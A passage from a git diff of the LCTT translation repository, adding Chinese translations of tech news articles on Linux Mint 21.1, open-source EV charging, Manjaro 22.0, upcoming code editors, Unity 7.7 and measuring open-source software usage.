Flatpak 版本之间切换。 + +卸载 Flatpak 应用程序和快捷方式不再需要密码了。在进行多项操作时也是如此。 + +#### 🔨 对 XApp 的改进 + +用户现在可以配置登录屏幕的光标大小和主题。以前,这些设置是全局设置。 + +另一方面,Warpinator 获得了更好的安全性,而 WebApp 管理器WebApp Manager 在编辑 WebApp 时具有额外的设置,包括私人浏览和导航栏。 + +#### ⭐ 新的 ISO 验证工具 + +在大多数情况下,人们想验证一个下载的 ISO 镜像的完整性。 + +因此,更简单方便的方法是,你可以通过右击 ISO 镜像,选择 “验证Verify”来完成。这就打开了 ISO 验证ISO Verification工具,你可以在那里填写必要的细节来进行验证。 + +![][9] + +值得注意的是,对于 Linux Mint 和 Ubuntu 的 ISO 镜像,SHA256sum 和 GPG 文件的 URL 是自动填写的。 + +#### 🎨 Cinnamon 5.6 桌面 + +Linux Mint 的旗舰桌面环境也有一些微小的视觉更新和变化。 + +在桌面的面板上,你会注意到主菜单和应用程序之间有一个细细的分隔线。像 Windows 一样,在最右边的角落里增加了一个新的角栏小程序,可配置,并支持创新的操作。 + +![][10] + +说到视觉效果,默认的文件管理器 Nemo 已经经历了一些变化: + +- 当选择一个或多个项目时,只有名称保持高亮,而图标则没有。 +- 日期现在以等宽字体显示。 +- 路径栏也得到了一些改进。 + +你可以毫不费力地访问 显示设置Display Settings,因为它的快捷方式已被添加到桌面的上下文菜单中。 + +### 🛠️ 其他改进措施 + +其他两个桌面环境已经分别更新到 **MATE 1.26** 和 **XFCE 4.16**。 + +美术作品集也得到了扩展,包括几张很酷的壁纸。 + +虽然我们只介绍了这个版本的主要亮点,但你可以通过 [官方更新日志][11] 了解更多细节。 + +### 获得 Linux Mint 21.1 + +现有的 Mint 用户应该得到通知,可以通过更新管理器轻松升级到 Mint 21.1。 + +那些想要重新安装 Linux Mint 的人可以从 [官方下载页面][12] 获得 ISO。 + +> **[Linux Mint 21.1][12]** + +如果你的网络较慢或不稳定,你也可以 [使用 Torrent 链接][13]。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-mint-21-1-release/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/linux-mint-21-1-release.png +[2]: https://news.itsfoss.com/content/images/2022/12/Home.png +[3]: https://news.itsfoss.com/content/images/2022/12/bibata.png +[4]: https://news.itsfoss.com/content/images/2022/12/Themes.png +[5]: https://news.itsfoss.com/content/images/2022/12/linux-mint-new-look.png +[6]: https://news.itsfoss.com/content/images/2022/12/Drivemanager1.png +[7]: https://news.itsfoss.com/content/images/2022/12/DriverManager2.png +[8]: https://news.itsfoss.com/content/images/2022/12/Software_Manager.png +[9]: https://news.itsfoss.com/content/images/2022/12/ISOVerify.png +[10]: https://news.itsfoss.com/content/images/2022/12/Folder.png +[11]: https://www.linuxmint.com/rel_vera_cinnamon_whatsnew.php +[12]: https://www.linuxmint.com/download.php +[13]: https://linuxmint.com/torrents/ diff --git a/published/202212/20221221.3 ⭐️⭐️ Open source solutions for EV charging.md b/published/202212/20221221.3 ⭐️⭐️ Open source solutions for EV charging.md new file mode 100644 index 0000000000..aa952da127 --- /dev/null +++ b/published/202212/20221221.3 ⭐️⭐️ Open source solutions for EV charging.md @@ -0,0 +1,79 @@ +[#]: subject: "Open source solutions for EV charging" +[#]: via: "https://opensource.com/article/22/12/open-source-ev-charging" +[#]: author: "Joshua Pearce https://opensource.com/users/jmpearce" +[#]: collector: "lkxed" +[#]: translator: "duoluoxiaosheng" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15385-1.html" + +开源电动汽车充电解决方案 +====== + +> 利用太阳能、硬件和开源来建立你自己的电动车充电站。 + +![][0] + +也许你讨厌在寒冷或者酷热的时候加油,也许你关心环境问题。也许不断上涨的油价和通胀让你不得不考虑怎么更合理的安排开支。也许你只是认为电动汽车看起来很酷。不管什么原因,你都会因为即将拥有一辆电动汽车而感到激动,激动的不仅仅只有你。电动汽车的市场份额将在 [2040 年增长到 30%][1] 。[美国政府提供了一个简易的比较工具][2],用来展示维护一辆电动汽车的花费比维护一辆化石燃料汽车要少很多。尽管如此,电动汽车的充电费用仍然会给你的钱包带来沉重的负担。 + +通常,解决成本问题的最优雅的方法之一是应用开源原则来加速创新。幸运的是,在电动汽车充电领域已经找到了一种获得低成本电力和充电桩的方法。 + +为了控制电动汽车充电的成本,首先,你需要低成本的电力。在过去,这意味着从石油倒退到煤炭。如今,能将太阳能直接转化为电能的 [光伏发电][3]solar photovolataic(PV) 设备提供的电力通常被认为成本是最低的。煤炭公司正在因为无法继续与清洁的太阳能竞争而破产。这也是 [太阳能发电在世界各地都爆炸性增长][4] 的原因。许多房主把 [太阳能电池板放到他们的房顶][5] 或者后院的支架上,以满足他们家庭的电力需求。但是,如果你的屋顶面积有限或者后院很小,你怎样才能使用太能能给你的电动汽车充电呢? + +### 开源光伏停车篷 + +大型企业正在采取的一个方法是在他们的停车场上建造一个光伏顶篷。如果你自己想做一个,一个新的 [研究][6] 提供了三种新型开源光伏顶篷系统全面的机械和经济方面的分析。 + +- 使用纯木材的单一停车位横跨系统 +- 使用木材和铝的双停车位横跨系统 +- 使用木材和铝的悬臂系统 + +这些设计是以 5 * 6 个停车位的样式呈现的,但是这三个系统都可以扩展到任何需要的停车位数量。包括一个 6 千瓦的家用单车充电系统(如下图)。所有的支架都有 25 年的预期寿命来配合标准的光伏保修。 + +![Image of a single car PV canopy.][7] + +这些开源光伏顶篷都是为了抵御加拿大残酷的冬天而设计的,它们遵循加拿大严格的建筑规范。所以,不管你住在其他任何地方,这些系统的设计都仍然可以为你工作。顶篷的 [完整设计][8] 以及材料清单,包括基本说明都有提供。它们以开源许可的方式发布,保证任何人都可以依照关于 DIY 太阳能收集器的免费书籍 《[拥抱太阳][9]To Catch the Sun》 制作它。 + +前面提到的 [研究][6] 结果显示,开源设计比专利产品的成本低很多。单跨系统可节省成本 82% 到 85%,双跨系统节省成本 43% 到 50%,悬臂系统节省 31% 到 40% 。 + +最重要的是,这些设计给你提供了足够多的能源(如果你只是正常通勤)来满足你的充电需求。在运行的第一年,光伏顶篷可以提供目前市场上效率最低的电动汽车充电所需电量的 157% 。 + +![Image of an OpenEVSE charging station.][10] + +### 开源电动汽车充电桩 + +减少电动车维护成本的另一个办法是安装一个开源的电动车充电桩。[OpenEVSE][11] 是一个基于 Arduino 的充电桩,由 [开源软件][12] 和硬件组成,可以以 DIY 的方式制作。它们体积小,重量轻,便于携带,你可以在家里或者旅途上使用它们。 + +OpenEVSE 为世界各地的许多电动车制造商提供充电站。你可以根据自己的需求调整它。OpenEVSE 已经相当成熟,支持许多先进的功能,包括可调电流,温度检测和实时功率显示。你可以购买预先组装好的硬件马上体验。如果你想体验更多的乐趣节省更多的钱,可以购买一套套件自己动手制作。 + +![Image of the OpenEVSE kit.][13] + +我希望未来可以看到更多关于电动汽车充电解决方案的设计。睁大眼睛,撸起袖子加油干,享受组装你的开源太阳能充电桩的乐趣。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/open-source-ev-charging + +作者:[Joshua Pearce][a] +选题:[lkxed][b] +译者:[duoluoxiaosheng](https://github.com/duoluoxiaosheng) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jmpearce +[b]: https://github.com/lkxed +[1]: https://about.bnef.com/electric-vehicle-outlook/ +[2]: https://fueleconomy.gov/feg/Find.do?action=sbsSelect +[3]: https://opensource.com/article/21/11/open-source-solar-power +[4]: https://www.alliedmarketresearch.com/photovoltaic-market +[5]: https://linux.cn/article-15374-1.html +[6]: https://doi.org/10.3390/technologies10060114 +[7]: https://opensource.com/sites/default/files/2022-12/Single%20car%20open%20source%20PV%20canopy.png +[8]: https://www.appropedia.org/Open-source_Photovoltaic_-_Electrical_Vehicle_Carport_Designs +[9]: https://tocatchthesun.com/ +[10]: https://opensource.com/sites/default/files/2022-12/OpenEVSE%20charging%20an%20electric%20car.png +[11]: https://openevse.com/index.html +[12]: https://github.com/OpenEVSE +[13]: https://opensource.com/sites/default/files/2022-12/OpenEVSE%20kit.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/27/171530ayuyongagafyxp5o.jpg \ No newline at end of file diff --git a/published/202212/20221226.1 ⭐️ Manjaro Linux 22.0 Releases Featuring Xfce 4.18 and Linux Kernel 6.1.md b/published/202212/20221226.1 ⭐️ Manjaro Linux 22.0 Releases Featuring Xfce 4.18 and Linux Kernel 6.1.md new file mode 100644 index 0000000000..d94f5b884e --- /dev/null +++ b/published/202212/20221226.1 ⭐️ Manjaro Linux 22.0 Releases Featuring Xfce 4.18 and Linux Kernel 6.1.md @@ -0,0 +1,102 @@ +[#]: subject: "Manjaro Linux 22.0 Releases Featuring Xfce 4.18 and Linux Kernel 6.1" +[#]: via: "https://news.itsfoss.com/manjaro-22-0-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15391-1.html" + +Manjaro Linux 22.0 发布 +====== + +> Manjaro Linux 22.0 带着各种升级来了! + +![][1] + +Manjaro Linux 是一个基于 Arch Linux 的滚动发布发行版,专注于提供用户友好和无障碍体验。 + +自 6 月发布 “[Ruah][2]” 以来,Manjaro 的开发仍在继续,并为最新的版本铺平了道路,它被称为 “Sikaris”。 + +这是 2022 年最后的流行的发行版之一。让我们看看它提供了什么。 + +### Manjaro 22 “Sikaris” 有什么新内容? + +![][3] + +Sikaris 版本带来了许多改进,一些值得注意的包括: + +- 桌面环境的升级 +- Linux 内核 6.1 +- 动态墙纸 +- 各种用户体验的改进 + +#### 桌面环境的升级 + +这个版本对 Manjaro Linux 的三个不同版本进行了许多改进。让我带你看看这些改进。 + +**对于 Manjaro GNOME:** 它使用是的 GNOME 43,有一个重新设计的系统状态菜单,可以让你在常用的设置之间快速切换。 + +他们还更新了他们的 “布局切换器Layouts Switcher” 应用程序,包括各种改进和修复。 + +![][4] + +此外,你可以创建你的动态壁纸并使用 [Gradience][5] 来定制你的主题。 + +**对于 Manjaro KDE:** “Sikaris” 版本采用了最新的 Plasma 5.26 桌面环境,具有许多改进,如动画壁纸、新的小工具,以及 Plasma 大屏幕的改进。 + +![][6] + +还有一些其它的调整,允许壁纸根据系统的主题来改变。 + +此外,Dolphin 文件管理器现在有一个新的功能叫“选择模式Selection Mode”,可以让你选择多个文件或文件夹。 + +**对于 Manjaro Xfce:** 使用的是 Xfce 4.18,该版本在 Thunar 文件管理器中获得了新的文件高亮显示和递归搜索功能。 + +可能是第一个包括 [新发布的 Xfce 4.18][7] 的开箱即用发行版。 + +面板也被更新了,允许最大化的应用程序填满面板后面的区域,而且面板的长度现在是以像素而不是百分比计算的。 + +![][8] + +此外,“控制中心Control Center”现在将所有用于管理系统的桌面模块集中到一个易于使用的窗口。 + +这些功能应该会改善你的整体体验! 😃 + +#### Linux 内核 6.1 + +Manjaro 22 ”Sikaris“ 使用 [Linux 内核 6.1][9] 提供了各种增强功能。 + +这些包括对 Rust 的实验性支持,对英特尔即将推出的 Meteor Lake 芯片的初步支持,改进的 ARM SoC 支持,以及更多。 + +### 下载 Manjaro 22 + +Manjaro 22 “Sikaris” 可用于 X86_64 和 ARM 系统,前往官方 [下载页面][10] 获取。 + +> **[下载 Manjaro 22][10]** + +**对于现有的用户,** 你只需在命令行中运行 `sudo pacman -Syu` 就可以得到这个版本的 Manjaro Linux。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/manjaro-22-0-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/manjaro-22-0-release.png +[2]: https://news.itsfoss.com/manjaro-21-3-0-release/ +[3]: https://news.itsfoss.com/content/images/2022/12/Manjaro_Linux_KDE_2.png +[4]: https://news.itsfoss.com/content/images/2022/12/Manjaro_Linux_GNOME.png +[5]: https://github.com/GradienceTeam/Gradience +[6]: https://news.itsfoss.com/content/images/2022/12/Manjaro_Linux_KDE.png +[7]: https://news.itsfoss.com/xfce-4-18-release/ +[8]: https://news.itsfoss.com/content/images/2022/12/Manjaro_Linux_XFCE.png +[9]: https://news.itsfoss.com/linux-kernel-6-1-release/ +[10]: https://manjaro.org/download/ diff --git a/published/202212/20221227.0 ⭐️⭐️ 5 Upcoming Code Editors that May Challenge the Supremacy of Visual Studio Code.md b/published/202212/20221227.0 ⭐️⭐️ 5 Upcoming Code Editors that May Challenge the Supremacy of Visual Studio Code.md new file mode 100644 index 0000000000..9b925483b3 --- /dev/null +++ b/published/202212/20221227.0 ⭐️⭐️ 5 Upcoming Code Editors that May Challenge the Supremacy of Visual Studio Code.md @@ -0,0 +1,121 @@ +[#]: subject: "5 Upcoming Code Editors that May Challenge the Supremacy of Visual Studio Code" +[#]: via: "https://news.itsfoss.com/upcoming-code-editors/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15399-1.html" + +5 个即将推出的可能会挑战 VS Code 的代码编辑器 +====== + +> 这些有趣的代码编辑器可能会在 2023 年取代 VS Code! + +![5 Upcoming Code Editors that May Challenge the Supremacy of Visual Studio Code][1] + +嗯,2022 年即将结束。 + +我们推出了针对 Linux 发布的新的卓越代码编辑器,从 [Lite XL][2] 到 [Pulsar][3] 等。 + +因此,为了纪念这一点,我编制了这份即将推出的 Linux 代码编辑器列表,它们很有可能挑战 [VS Code][4] 的霸主地位。 + +让我带你了解它。 + +### 1、Pulsar + +![pulsar][5] + +[Pulsar][6] 是一个社区主导的开源代码编辑器,旨在替代著名的 Atom 代码编辑器。 + +它使用与 Atom 相同的代码库,有一个开源的后端(得益于逆向工程的工作),更新了依赖性。 + +他们有计划在不久的将来对其进行改进。 + +它可以从 [官方网站][7] 下载,但请记住,它还处于早期开发阶段。 + +### 2、Atom 社区版 + +![atom community][8] + +“[Atom 社区版][10]” 也是从现已停止维护的 Atom 编辑器的 [灰烬][9] 中重生的,它是一个旨在接管其前身的概念和想法的项目。 + +他们的目标是从提供最基本的特性开始,并使其与 [atom-ide-ui][11] 包中的可用功能相媲美。 + +它可能会有更多东西,但就目前的形式而言,我现在不建议新用户这样做。与 Pulsar 相比,他们的长期目标略有不同,这使它成为另一个值得一看的项目。 + +但是,到 2023 年,情况可能会有所不同。 + +尽管如此,那些喜欢冒险的人可以使用 [源代码][12] 来构建它。 + +### 3、Lapce + +![lapce][13] + +一个轻量级和快速的开源代码编辑器? + +这就是 [Lapce][14]! + +它是一个基于 Rust 的开源代码编辑器,专注于提供这样的体验。 + +我们在它处于 pre-alpha 阶段时对其进行了介绍,但在 2023 年它可能会引起注意。 + +### 4、Zed + +![zed breadcrumbs][15] + +[Zed][16] 是即将推出的代码编辑器,旨在挑战 VS Code 的统治地位。 + +它有许多功能,例如实时协作、极简界面、代码动作、命令面板等 [更多功能][17]。 + +事实上,Atom 的创始人 [Nathan Sobo][18] 是这一切的幕后推手,并将其称为 Atom 的“_精神继承者_”。 + +### 5、Lite XL + +![lite xl][19] + +[Lite XL][2] 是一个用 Lua 编写的开源代码编辑器,仅使用 3MB 的存储空间和大约 20MB 的内存。(与 VS Code 的 ~550 MB 相比)。 + +如果你正在寻找一个完全最小化的代码编辑器,它可能会合你的口味。 + +你现在可以从 [官方网站][20] 获取它,它会定期更新,预计 2023 年也会如此。 + +**好了,这是这份名单的结束,也是 2022 年的结束。** 😃 + +_我可能错过了一些代码编辑器,我知道你会在评论部分告诉我。随时分享你的想法!_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/upcoming-code-editors/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/upcoming-editors-which-may-challenge-vs-code.png +[2]: https://itsfoss.com/lite-xl/ +[3]: https://news.itsfoss.com/pulsar-editor/ +[4]: https://code.visualstudio.com +[5]: https://news.itsfoss.com/content/images/2022/12/Pulsar.png +[6]: https://pulsar-edit.dev +[7]: https://pulsar-edit.dev/download.html#releases +[8]: https://news.itsfoss.com/content/images/2022/12/Atom_Community.jpg +[9]: https://github.blog/2022-06-08-sunsetting-atom/ +[10]: https://atom-community.github.io +[11]: https://github.com/facebookarchive/atom-ide-ui +[12]: https://github.com/atom-community/atom +[13]: https://news.itsfoss.com/content/images/2022/12/Lapce.jpg +[14]: https://lapce.dev +[15]: https://news.itsfoss.com/content/images/2022/12/Zed_Early.jpg +[16]: https://zed.dev/ +[17]: https://zed.dev/features +[18]: https://twitter.com/nathansobo +[19]: https://news.itsfoss.com/content/images/2022/12/LiteXL.jpg +[20]: https://lite-xl.com/en/downloads +[21]: https://mastodon.social/@itsfoss +[22]: https://twitter.com/itsfoss2 diff --git a/published/202212/20221229.0 ⭐️ Be Delighted! Unity Teases Version 7.7 as the Sign of Active Development.md b/published/202212/20221229.0 ⭐️ Be Delighted! Unity Teases Version 7.7 as the Sign of Active Development.md new file mode 100644 index 0000000000..aa582149ce --- /dev/null +++ b/published/202212/20221229.0 ⭐️ Be Delighted! Unity Teases Version 7.7 as the Sign of Active Development.md @@ -0,0 +1,123 @@ +[#]: subject: "Be Delighted! Unity Teases Version 7.7 as the Sign of Active Development" +[#]: via: "https://news.itsfoss.com/unity-7-7-dev/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15398-1.html" + +Unity 正在积极开发,预告 7.7 版 +====== + +> Unity 7.7 版的更新计划为该桌面环境带来一些视觉上的改革。 + +![][1] + +Unity,经典的桌面环境,从 2010 年到 2017 年都是 Ubuntu 的一部分,将收到一个大的新版本。你可以期待它在 2023 年的某个时候发布,但目前还没有具体的发布日期。 + +但不是由 [Canonical][2] 发布。 + +**如果你不知道:** Unity 的开发由一位年轻的开发者 [Rudra Saraswat][3] 接手,他也是 [Ubuntu Unity][4] 衍生版的创造者,这是 Ubuntu 的一个官方特色版。 + +在最近的一篇 [博文][5] 中,Rudra 向我们揭示了 Unity 7.7 的一角和即将到来的各种改进。 + +让我带你看看这些。 + +### Unity 7.7 值得期待的地方 + +![unity 7.7 一窥][6] + +这次披露的内容有很多,其中包括: + +- 更新的欢迎应用程序 +- UWidgets +- 改进的仪表盘 +- 面板的调整 +- 增强的通知指示器 + +#### 更新的欢迎应用程序 + +![][7] + +一个新的欢迎应用程序将被引入 Unity,它基于 Ubuntu Flutter 社区开发的原型(用 [Flutter][8] 编写)。 + +这个应用程序将不只限于一个发行版,而是适用于 Unity 所支持的所有发行版。 + +#### UWidgets + +![][9] + +终于有了,Unity 桌面上的小部件?像 KDE 一样? + +好吧,在 Unity 中引入用 Python 编写的小部件,应该很简单就可以设置(只是复制几个文件的问题)。 + +屏幕截图展示了一堆小部件,如时钟、系统监视器、Spotify 的小部件等等。 + +这还不是全部,Rudra 还提到: + +> 我们将为 UWidgets 建立一个网页商店/仓库,在那里你可以提交你自己的小部件,或者下载并试用 Unity 7.7 上所有这些令人惊叹的小部件。 + +这应该会使用户更容易找到和下载小部件! + +#### 改进的仪表盘 + +![][10] + +仪表盘Dash也被刷新了,新的设计基于 Unity 7 的原始设计概念(在 Canonical 放弃它之前)。 + +按照截图,它应该不会占用大量的屏幕空间,而且还很有用。 + +#### 面板的调整 + +![][11] + +现在的面板比之前的版本略大且更精致。 + +#### 增强的通知指示器 + +![][12] + +这对 Unity 来说是一个巨大的可用性改进;用户现在终于可以利用一个适当的通知指示器了。 + +它将显示与你的应用程序、系统和更多相关的基本通知。 + +#### 其他变化 + +![][13] + +一些更有用的技术改进包括: + +- unity-control-center 的外壳 UI 得到了改进 +- 默认的面板不透明度降低到 0.75 +- 默认的启动器图标尺寸被缩小了 +- 启动器按钮(Ubuntu 图标)被替换为半透明的图标,类似于 Ubuntu Unity 21.04 的启动器按钮。 + +_对 Unity 7.7 感到激动?请在下面的评论中告诉我你的想法。_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/unity-7-7-dev/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/ubuntu-unity-7-7-release.png +[2]: https://canonical.com +[3]: https://about.ruds.io +[4]: https://ubuntuunity.org +[5]: https://unityd.org/unity-7-7-peek/ +[6]: https://news.itsfoss.com/content/images/2022/12/Unity_7.7_Sneakpeek.jpg +[7]: https://news.itsfoss.com/content/images/2022/12/Unity_7.7_Sneakpeek_Welcome.jpg +[8]: https://flutter.dev +[9]: https://news.itsfoss.com/content/images/2022/12/Unity_7.7_Sneakpeek_UWidgets.jpg +[10]: https://news.itsfoss.com/content/images/2022/12/Unity_7.7_Sneakpeek_Dash.jpg +[11]: https://news.itsfoss.com/content/images/2022/12/Unity_7.7_Sneakpeek_Panels.jpg +[12]: https://news.itsfoss.com/content/images/2022/12/Unity_7.7_Sneakpeek_Notif.jpg +[13]: https://news.itsfoss.com/content/images/2022/12/unity-control-center.png diff --git a/published/20221202.0 ⭐️⭐️ 8 ideas for measuring your open source software usage.md b/published/20221202.0 ⭐️⭐️ 8 ideas for measuring your open source software usage.md new file mode 100644 index 0000000000..cdc1ab5063 --- /dev/null +++ b/published/20221202.0 ⭐️⭐️ 8 ideas for measuring your open source software usage.md @@ -0,0 +1,150 @@ +[#]: subject: "8 ideas for measuring your open source software usage" +[#]: via: "https://opensource.com/article/22/12/open-source-usage-metrics" +[#]: author: "Georg Link https://opensource.com/users/georglink" +[#]: collector: "lkxed" +[#]: translator: "CanYellow" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15411-1.html" + +衡量你的开源软件使用情况的 8 个方法 +====== + +![][0] + +> 想知道如何为你的开源软件项目收集使用指标?考虑一下使用这些替代方案的利弊。 + +我们这些支持开源项目社区的人经常被问到很多有关使用指标的问题。这些指标通常是为了通过用户量和知名度来衡量软件的重要性。我们一般都想知道有多少人使用该软件,有多少次安装,以及有多少人生活接触过它。 + +但简而言之,我们尚无法直接回答上述问题。 + +如果你想要寻找一个明确的解决方案,那很抱歉要让你失望了。有关使用指标的问题,没有人有完美的答案,至少没有准确的答案。 + +好消息是,有一些近似的和替代指标至少能够部分地满足你对软件使用情况了解的渴求。本文探讨了这些替代方案以及它们的优点和缺点。 + +### 下载量 + +当你浏览提供软件的网站时,你通常可以看到软件的下载次数。映入我脑海的一个例子是 Firefox ,它曾经有一个下载计数器。Firefox 的下载量是一个印象深刻的数字,给人的印象是 Firefox 是一个流行的浏览器,在一段时间内确实如此。 + +然而,个人行为会直接影响这一数字的准确性。举例而言,当一个人定期重置他们的设备时,每一次重建都会引发一次独立的下载。考虑到这一现实,需要设计一种方法从下载量中去除几十次(或许是几百次)的下载次数,因为那是一个人。 + +下载量不仅会高估使用量,还会低估使用量。例如,一个系统管理员可能会下载一个新版本的 Firefox 一次并将其拷贝到 U 盘上,然后安装到数百台设备上。 + +下载量指标是易于收集的,你可以在服务器上记录每一个下载请求。问题在于你不知道在这些软件下载以后会发生什么。下载它的人是否如预期的那样使用软件,还是遇到了问题而放弃了它。 + +对于开源项目而言,你可以考虑各种下载量指标,比如来自以下途径的下载指标: + +- 项目官网 +- 包管理器,比如 npm、PyPi 和 Maven +- 代码仓库,如 GitHub、GitLab、Gitee 等 + +你可能还对源代码的下载量感兴趣,因为下游项目更可能使用源代码形式(参见 [《如何衡量你的开源项目的影响》][1]一文)。相应的下载指标包括: + +- 从代码仓库克隆的数量,比如 GitHub、GitLab 和 Gitee +- 从官网下载的归档文件(tar、zip)的数量 +- 通过像 npm、PyPi 和 Maven 这样的包管理器下载的源代码数量 + +源代码的下载指标比二进制代码的下载指标更不可靠(虽然尚无相关研究表明如此)。试想一下,一名开发人员想要你的最新版本的源代码,并将他们的构建管道配置为每次构建都克隆你的仓库。再想象一下,一个自动构建过程失败了,它试图重新构建而不断地克隆你的版本库。你还可以考虑这样一个下载量低于预期的场景——源代码仓库在某些地方缓存了,下载来源是由这些缓存所提供的。 + +> **[相关阅读:跟踪你的开源社区的 5 个指标][2]** + +总而言之,下载量指标是用于提供当前使用情况和探测趋势的很好的指征。我们无法明确地定义一次下载是如何转化为使用的。不过我们可以认为增加的下载量是更多潜在用户的标志。举例而言,如果你为你的软件做了广告并在活动期间得到了更高的下载量,可以合理地假定广告推动了更多人下载该软件。下载行为的来源与元数据还可以提供额外的与使用行为相关的内容。你的软件的哪些版本仍在使用中?什么操作系统或者特定语言的版本更加流行?这有助于社区决定将哪个平台的软件作为支持与测试的优先选项。 + +### 议题 + +作为一个开源项目,你可能有一个议题追踪器。当某个人提出一个议题时一般有两个目标,报告一个漏洞或者请求增加一项功能。提议者很可能已经使用过你的软件了。作为一名用户,他可能发现了一个漏洞或者发现了对一个新功能的需求。 + +很明显,大多数用户不会执行额外的步骤来提交议题。提议者是我们的忠实用户,我们对他们表示感谢。此外,通过提出议题,他们已经成为了非代码贡献者,他们也有希望成为代码贡献者。经验法则是大约每 10000 名用户中,可能有 100 名提议者,以及 1 名代码贡献者。当然取决于用户类型,上述比例可能有出入。 + +回到指标问题,你可以将提议者数量作为评估使用量的下界。相关的指标包括: + +- 提议者数量 +- 活跃提议者的数量(在过去 6 个月内提出议题的提议者) +- 同时有代码贡献的提议者的数量 +- 尚未解决的议题的数量 +- 对议题发布的评论数量 + +### 邮件列表、论坛和问答网站 + +很多开源项目都拥有用户邮件列表、论坛,并且出现在类似 Stack Overflow 的问答网站上。与提问者一样,在这些地方发帖的人可被视作用户的冰山一角。与邮件列表、论坛和问答网站上的社区活跃程度相关的指标也可用于反映用户数量的上升或下降。相关指标可以集中于以下地方的活动,包括: + +- 用户邮件列表的订阅量 +- 论坛用户的数量 +- 问题的数量 +- 答案的数量 +- 发布信息的数量 + +### 上报功能 + +为了获得精确的用户数量,一个方案是让软件在使用时上报信息。 + +这是令人毛骨悚然的。想象一下,系统管理员的防火墙报告了一个非预期的到你的服务器的网络连接,你不仅无法再收到软件报告(被防火墙拦截了),恐怕连你的软件也可能在未来被禁止使用。 + +负责任的设置上报功能的方式为设置一项可选服务来检查更新并让用户知道使用最新版本。另一项可选功能可以集中在使用遥测上,你可以通过该功能询问用户是否允许匿名上报软件使用情况。如果经过深思熟虑的实施,这种方式可以允许用户通过他们使用软件的方式帮助优化软件。用户可以持有这样的意见:我一般不允许这种使用信息的分享;但对于一些软件,因为希望开发人员在长期内将软件优化得更好,我愿意这样做。 + +### 星标与复刻 + +星标与复刻是如 GitHub、GitLab、Gitee 等社交化编程平台的功能。这些平台上的用户可以给一个项目加星标。为什么他们要给项目加星标呢?GitHub 的文档作出了解释:你可以给一个仓库和主题加星标,以跟踪感兴趣的项目,和在你的新闻订阅中发现相关的内容。给一个项目加星标与将其加入书签的效果一样,并且还提供了一种向项目仓库的维护者展示赞赏的方式。星标的数量已经成为了项目流行程度的标志。当一个项目发布重大公告并获得相当的关注时,项目的星标数量会呈上升趋势。星标的数量指标并不反映软件的使用量。 + +在社交化编程平台上的复刻Fork是将项目仓库复制一份在自己名下。仓库的非维护者可以在他们自己的克隆仓库中做修改,并将修改通过拉取请求pull request(PR)的方式提交审核。复刻比星标更能反映软件社区的规模。开发者也可能为了保存一份代码副本而克隆一个项目,以便在原始仓库消失后他们仍能访问代码。因为复刻功能在代码贡献工作流中的应用,复刻量是衡量开发社区的良好指标。复刻量通常也不反映非开发人员的使用,因为非开发人员一般不创建复刻。 + +### 社交媒体 + +包括 Facebook、Instagram、LinkIn、Reddit、Twtter 等社交媒体平台提供了相同兴趣的人们聚集的平台。采用社交媒体策略,开源项目可以通过在平台上设置相应的聚集空间来吸引对项目感兴趣的人们。通过这些社交媒体途径,开源项目可以分享项目新闻、更新,指出贡献者和用户。这些社交媒体途径还可以用于认识那些本不会通过其他途径与项目互动的人。 + +我在犹豫是否建议关注以下指标,因为它与软件的真实使用量没有清晰的联系,并通常需要分析其中的积极、消极和中性的情绪。人们可能因为很多不同的原因对你的项目感到激动而关注它,但并不实际使用它。然而与之前已经讨论过的指标一样,能够在社交媒体上吸收人群本就是项目受关注的整体指标。不同社交媒体平台的指标包括: + +- 关注者与订阅者的数量 +- 消息的数量 +- 活跃的消息作者的数量 +- 